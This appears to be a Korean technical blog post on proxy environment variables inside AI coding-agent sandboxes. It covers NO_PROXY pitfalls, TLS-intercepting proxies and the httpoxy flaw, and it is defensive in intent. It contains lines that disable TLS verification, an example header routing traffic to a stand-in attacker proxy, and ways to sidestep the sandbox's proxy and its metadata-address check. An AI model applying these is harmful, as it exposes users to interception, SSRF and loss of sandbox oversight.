curl은 되는데 node는 안 된다
샌드박스를 켜둔 Claude Code에게 외부 API를 붙여달라고 한다. 에이전트는 먼저 손으로 확인해본다.
curl -s https://api.example.com/v1/ping
# {"ok":true}
잘 된다. 그래서 같은 요청을 코드로 옮긴다.
const r = await fetch('https://api.example.com/v1/ping');
이번엔 실패한다. npm install은 방금 잘 돌았고 HTTPS 리모트로 git push도 됐는데, 몇 줄짜리 스크립트만 네트워크를 못 나간다. 에러 메시지는 연결 실패나 이름 해석 실패를 말할 뿐 이유를 가리키지 않는다.
여기서 에이전트가 내놓는 추측은 대개 비슷하다. 방화벽일 수도 있고, DNS 설정 문제일 수도 있고, API가 Node의 User-Agent를 막는 걸지도 모른다고 한다. 그리고 시도해볼 만한 걸 하나씩 꺼낸다. 그중 몇 개는 운영 환경까지 그대로 따라간다.
원인은 환경변수 세 개다. HTTP_PROXY, HTTPS_PROXY, NO_PROXY. curl과 npm과 git은 이 값을 읽고, Node의 내장 fetch는 기본적으로 읽지 않는다.
경계가 프록시로 되어 있다
샌드박스가 네트워크를 제한하는 방식을 먼저 봐야 설명이 된다. Claude Code 문서는 이렇게 적어뒀다. 샌드박스 프록시는 샌드박스 바깥, 사용자 머신에서 돌고, 샌드박스 안의 명령은 HTTP_PROXY, HTTPS_PROXY, ALL_PROXY와 관련 환경변수로 그 프록시를 가리키게 된다. 프록시는 연결마다 호스트 이름을 허용 도메인 목록과 맞춰본다. 그리고 샌드박스 안에서 밖으로 나가는 직통 경로는 없다.
출입구에 경비가 한 명 앉아 있는 셈이다. 그런데 경비한테 가는 길을 각 프로그램에 알려주는 방법이 환경변수밖에 없다. 길을 못 읽는 프로그램은 벽으로 직행하고, 벽에 막힌다. 문서도 도구를 두 부류로 나눠놓았다. 프록시 변수를 읽는 curl, npm, HTTPS로 동작하는 git은 호스트가 허용되면 연결된다. 변수를 무시하는 ssh와 대부분의 데이터베이스 드라이버는 허용된 호스트에도 연결하지 못한다.
직통 경로가 정말 없다는 건 문서에 실린 예시 하나가 잘 보여준다. curl --noproxy '*' https://example.com은 Could not resolve host로 끝난다. 프록시를 쓰지 말라고 명령하면 아예 길이 없어진다.
같은 구조를 Codex도 쓴다. workspace-write 모드는 네트워크를 기본으로 꺼두고, 켠 다음에는 [features.network_proxy]로 도메인 단위 통제를 붙인다. 허용 목록이 먼저고 거부가 항상 이기며, *.example.com은 서브도메인만 잡고 apex 도메인까지 포함하려면 **.example.com으로 쓴다.
[features.network_proxy]
enabled = true
domains = { "api.openai.com" = "allow", "example.com" = "deny" }

읽는 쪽이 규칙을 정한다
프록시 환경변수에는 이름과 규칙을 정해놓은 RFC가 없다. 표준이 없다는 말이 추상적으로 들린다면, 두 문서를 나란히 놓고 보면 바로 와닿는다. curl의 man page는 NO_PROXY에서 쓸 수 있는 와일드카드가 * 하나뿐이라고 못 박는다. 반면 Node 문서는 *.example.com을 와일드카드 도메인 매칭으로 명시해뒀다. 같은 변수, 같은 표기, 다른 결과다. 세부 규칙을 정하는 쪽이 읽는 클라이언트라서 생기는 일이다.
Node부터 보자. 내장 프록시 지원은 전역 에이전트를 만들 때 NODE_USE_ENV_PROXY가 1이거나 --use-env-proxy가 켜져 있을 때만 붙는다. 둘 다 없으면 fetch는 환경변수를 보지 않고 목적지로 직접 연결한다. 버전도 최근이다. NODE_USE_ENV_PROXY는 24.0.0과 22.21.0에, --use-env-proxy 플래그는 24.5.0과 22.21.0에 들어왔다. 문서의 안정성 등급은 아직 1.1, 활발한 개발 단계다.
NODE_USE_ENV_PROXY=1 node app.js
# 또는
node --use-env-proxy app.js
코드 안에서 켜는 방법도 25.4.0과 24.14.0부터 생겼다. 이 함수는 전역 설정을 통째로 갈아끼우기 때문에, 문서는 요청을 하나라도 보내기 전에 호출하고 요청이 오가는 중간에는 부르지 말라고 권한다.
import http from 'node:http';
http.setGlobalProxyFromEnv(); // 첫 요청보다 먼저 한 번
const r = await fetch('https://api.example.com/v1/ping');
Python은 반대쪽이다. requests는 요청마다 proxies를 지정하지 않으면 http_proxy, https_proxy, no_proxy, all_proxy를 읽고 대문자 표기도 받아들이기 때문에, 아무것도 안 해도 프록시를 탄다. 대신 문서에 경고가 하나 붙어 있다. session.proxies에 넣어둔 값이 환경변수 쪽 설정에 덮일 수 있으니, 확실히 적용하고 싶으면 요청마다 proxies를 넘기라는 이야기다.
curl은 또 다르다. HTTP용 변수만 소문자 http_proxy로 쓰게 돼 있고, 대문자 HTTP_PROXY는 의도적으로 읽지 않는다. 문서가 밝힌 이유는 CGI 프로토콜인데, 이건 뒤에서 따로 보겠다.

NO_PROXY는 홉만 빼는 게 아니다
막힌 걸 뚫으려고 가장 먼저 손대는 값이 NO_PROXY다. 프록시를 건너뛸 호스트 목록이니, 여기에 한 줄 넣으면 당장은 통한다. 그런데 이 변수에는 함정이 두 겹 있다.
첫째, 표기법이 도구마다 다르다. Node 문서가 적어둔 형식은 *, example.com, .example.com, *.example.com, 정확한 IP 주소, 192.168.1.1-192.168.1.100 같은 IP 범위, example.com:8080 같은 포트 지정이다. 이 목록에 CIDR은 없다. curl 쪽은 7.86.0부터 CIDR을 받는다고 man page에 적어뒀다. 그러니까 이렇게 써두면,
export NO_PROXY=10.0.0.0/8
curl에서는 사설망 전체가 빠진다. Node에서는 문서가 정한 형식 어디에도 해당하지 않으니, 저 문자열에 들어맞는 호스트가 생길 일이 없다. 반대 방향도 마찬가지다. 192.168.1.1-192.168.1.100은 Node 문서에 실린 형식이지만 curl 문서에는 없다. 양쪽 다 조용히 동작한다. 틀렸다고 알려주는 쪽이 없다.
이름 매칭도 생각보다 넓다. curl man page의 예시를 그대로 옮기면, local.com 한 줄이 local.com과 local.com:80뿐 아니라 www.local.com에도 맞는다. 선행 점을 안 찍어도 서브도메인이 딸려 들어간다는 뜻이다. 좁게 적었다고 생각한 한 줄이 실제로는 그 도메인 아래 전체를 프록시 밖으로 빼고 있을 수 있다.
둘째가 더 중요하다. 프록시를 건너뛰면 프록시가 하던 검사도 같이 사라진다. Claude Code의 샌드박스 프록시는 호스트 이름이 허용 목록을 통과한 다음에 그 이름을 직접 해석하고, 로컬 주소로만 풀리는 경우 연결을 거부한다. 거부 대상에는 127.0.0.1 같은 루프백과 169.254.169.254 같은 링크 로컬 주소가 들어간다. 뒤쪽 주소는 클라우드 인스턴스의 메타데이터 엔드포인트다. 임시 자격 증명이 나오는 자리라, SSRF 공격이 늘 겨냥하는 목표다.
이 검사를 하고 있는 주체가 프록시다. NO_PROXY에 넓은 범위를 적어 그 요청을 프록시 밖으로 빼면, 홉 하나를 생략한 게 아니라 검사 하나를 끈 것이 된다. 에이전트가 사용자 입력 URL을 받아 가져오는 코드를 짜둔 상황이라면 차이가 바로 드러난다. 같은 코드, 같은 입력인데 프록시를 타면 막히고 안 타면 메타데이터가 돌아온다.
반대 방향으로도 한 번 더 조심할 데가 있다. 샌드박스 설정에서 직접 프록시 포트를 지정해 자기 프록시를 쓰게 만들면, 그 트래픽에는 Claude Code의 허용 도메인 목록도 거부 목록도 로컬 주소 검사도 적용되지 않는다. 문서가 그렇다고 명시해뒀다. 걸러내는 책임이 통째로 그 프록시로 옮겨간다.
검증을 끄는 처방이 운영까지 간다
프록시가 TLS를 중간에서 끊어보는 방식이면 증상이 또 달라진다. 이때 클라이언트가 받는 인증서는 목적지 서버가 아니라 프록시가 그 자리에서 발급한 것이고, 발급자가 공개 CA가 아니니 검증이 실패한다. 이름 해석 실패가 아니라 인증서 오류가 뜬다.
제대로 된 처방은 프록시의 루트 인증서를 신뢰 목록에 더해주는 것이다. 런타임마다 변수 이름이 다르다.
export NODE_EXTRA_CA_CERTS=/etc/ssl/certs/proxy-root.pem # Node.js
export REQUESTS_CA_BUNDLE=/etc/ssl/certs/proxy-root.pem # Python requests
export CURL_CA_BUNDLE=/etc/ssl/certs/proxy-root.pem # curl, requests의 대체값
NODE_EXTRA_CA_CERTS에는 알아둘 점이 두 개 있다. 프로세스를 띄울 때 한 번만 읽으므로 실행 중에 process.env를 바꿔도 소용이 없다. 그리고 코드에서 TLS나 HTTPS 클라이언트에 ca 옵션을 직접 넘기면 이 변수도, 기본 루트 CA도 쓰이지 않는다.
문제는 에이전트가 인증서 오류를 만났을 때 손이 먼저 가는 쪽이 여기가 아니라는 데 있다. 학습 데이터에 널려 있는 처방은 검증을 끄는 쪽이다.
r = requests.get(url, verify=False)
export NODE_TLS_REJECT_UNAUTHORIZED=0
둘 다 오류는 사라지고 요청은 통한다. 그래서 고쳐진 것처럼 보인다. requests 문서는 verify=False일 때 무슨 일이 생기는지 한 문장으로 적어뒀다. 서버가 내놓는 어떤 TLS 인증서든 받아들이고, 호스트 이름 불일치와 만료까지 무시하므로, 애플리케이션이 중간자 공격에 노출된다. Node 쪽 변수를 설명하는 문서도 비슷하다. 이 변수가 TLS를, 따라서 HTTPS까지 안전하지 않게 만든다고 쓴 뒤, 사용을 강하게 권하지 않는다는 문장을 덧붙였다.
끄는 범위가 넓은 것도 걸린다. NODE_TLS_REJECT_UNAUTHORIZED=0은 특정 요청이 아니라 프로세스 전체의 검증을 내린다. 프록시를 통과하려고 넣은 한 줄이 같은 프로세스에서 나가는 결제 API 호출의 인증서 검증까지 같이 끈다.
그리고 이 한 줄은 코드에 남는다. 샌드박스를 뚫으려고 .env나 Dockerfile이나 CI 설정에 적어둔 값은 운영 환경에서도 그대로 읽힌다. 운영에는 중간에서 TLS를 끊는 프록시가 없으니 아무 증상도 안 나타나고, 그래서 아무도 지우지 않는다.

HTTP_PROXY가 남의 요청 헤더에서 올 수 있다
curl이 대문자 HTTP_PROXY를 거부하는 이유를 이제 보자. 2016년에 httpoxy라는 이름이 붙은 문제다.
오래된 서버 연동 규격인 CGI는 들어온 HTTP 요청 헤더를 환경변수로 바꿔 애플리케이션에 넘긴다. 규칙은 단순해서 헤더 이름을 대문자로 바꾸고 HTTP_를 앞에 붙인다. Proxy: http://attacker.example/라는 헤더가 들어오면 애플리케이션 환경에 HTTP_PROXY=http://attacker.example/가 생긴다.
이름이 겹친 것뿐인데, 그 애플리케이션이 외부로 요청을 보내면서 HTTP_PROXY를 읽는다면 결과가 달라진다. 서버가 나가는 요청을 공격자가 지정한 프록시로 보낸다. 받는 쪽은 요청 내용을 들여다볼 수도 있고, 응답을 바꿔 돌려줄 수도 있다. 들어온 요청의 헤더 한 줄이 그 서버가 바깥으로 내보내는 요청의 경로를 바꾸는 셈이다.
Proxy는 IETF가 정의한 적도 없고 IANA 헤더 레지스트리에도 없는 헤더다. 그래서 권고된 완화책은 애플리케이션에 닿기 전에 앞단에서 이 헤더를 떼어내는 것이다. 당시 PHP, Go, Apache HTTP Server, Tomcat, Python에 각각 번호가 붙었다. CVE-2016-5385, 5386, 5387, 5388, 그리고 Python CGIHandler의 CVE-2016-1000110이다.
지금은 각 런타임이 막아놓았다. CPython의 urllib.request에는 처리 내용이 코드에 그대로 남아 있다.
# CVE-2016-1000110 - If we are running as CGI script, forget HTTP_PROXY
# (non-all-lowercase) as it may be set from the web server by a "Proxy:"
# header from the client
if 'REQUEST_METHOD' in os.environ:
proxies.pop('http', None)
REQUEST_METHOD가 환경에 있으면 CGI로 돌고 있다고 보고, 대문자로 들어온 HTTP 프록시 설정을 버린다. 소문자 http_proxy는 헤더에서 올 수 없으니 그대로 쓴다. curl이 소문자만 받는 것도 같은 판단을 다르게 구현한 것이다.
CGI 얘기로 끝낼 일은 아니다. 2026년에 CGI로 서비스를 올리는 사람은 많지 않다. 남는 건 프록시 설정이 신뢰 경계를 넘나드는 값이라는 사실이다. 환경변수는 운영자가 넣는 값이라고 생각하기 쉽지만, 요청에서 흘러들어올 수도 있고 저장소에 체크인된 설정 파일에서 올 수도 있다. Claude Code가 저장소의 .claude/settings.json에 적힌 프록시와 TLS 관련 변수를 특정 상황에서 무시하는 것도 같은 맥락이다. 문서는 이유를 적어뒀다. 체크아웃한 저장소가 세션의 TLS 경로나 프록시 경로를 바꾸지 못하게 하려는 것이다.

에이전트에게 뭐라고 말할 것인가
요청할 때 이 정도를 같이 적어주면 엉뚱한 처방이 줄어든다. "샌드박스 안에서 HTTP 요청이 실패하면 프록시 환경변수부터 확인해줘. Node라면 NODE_USE_ENV_PROXY=1을 켜거나 http.setGlobalProxyFromEnv()를 호출하고, 인증서 오류면 NODE_EXTRA_CA_CERTS나 REQUESTS_CA_BUNDLE에 프록시 루트 인증서를 지정해줘. verify=False, NODE_TLS_REJECT_UNAUTHORIZED=0, curl -k는 쓰지 마."
이미 짜둔 코드를 훑는다면 볼 곳이 세 군데다.
첫째는 검증을 끈 자리다. verify=False, rejectUnauthorized: false, NODE_TLS_REJECT_UNAUTHORIZED, curl -k와 --insecure를 찾는다. 하나라도 나오면 왜 넣었는지 기억을 더듬어볼 만하다. 프록시 때문이었다면 CA 번들 지정으로 바꾸면 된다. 지금은 이유를 모르겠다면, 빼보고 뭐가 깨지는지 확인하는 게 빠르다.
둘째는 NO_PROXY 값이다. *이 들어 있거나 사설망 범위가 통째로 들어 있으면 범위를 좁힌다. 그리고 그 표기가 실제로 쓰는 런타임에서 먹는 형식인지 확인한다. CIDR과 IP 범위는 Node와 curl에서 서로 안 통한다.
셋째는 도커를 쓸 때다. 컨테이너 안 프록시 환경변수는 호스트 셸에서 자동으로 넘어오지 않고, ~/.docker/config.json의 proxies 설정이나 --env로 들어간다. 호스트에서 되던 빌드가 컨테이너 안에서만 막히는 상황이 여기서 나온다. 반대로 프록시 URL에 인증 정보가 들어 있다면 Dockerfile의 ENV로 넣지 않는 게 좋다. 이미지 레이어에 평문으로 남는다. 도커 문서도 같은 이유로 이 방식을 권하지 않는다.
마지막으로 하나. 샌드박스에서 네트워크가 막히는 건 대개 고장이 아니라 설정이다. 막힌 호스트가 정말 필요하면 허용 목록에 그 호스트를 넣으면 된다. 경계를 유지한 채 길 하나를 여는 방법이다. 프록시를 우회하거나 인증서 검증을 끄는 쪽은 경계 자체를 치우는 방법이다. 두 처방은 증상을 똑같이 없애고, 그래서 어느 쪽을 골랐는지는 코드만 봐서는 티가 안 난다. 고쳤다고 적어둘 때 뭘 해서 고쳤는지 한 줄 남겨두는 편이 낫다.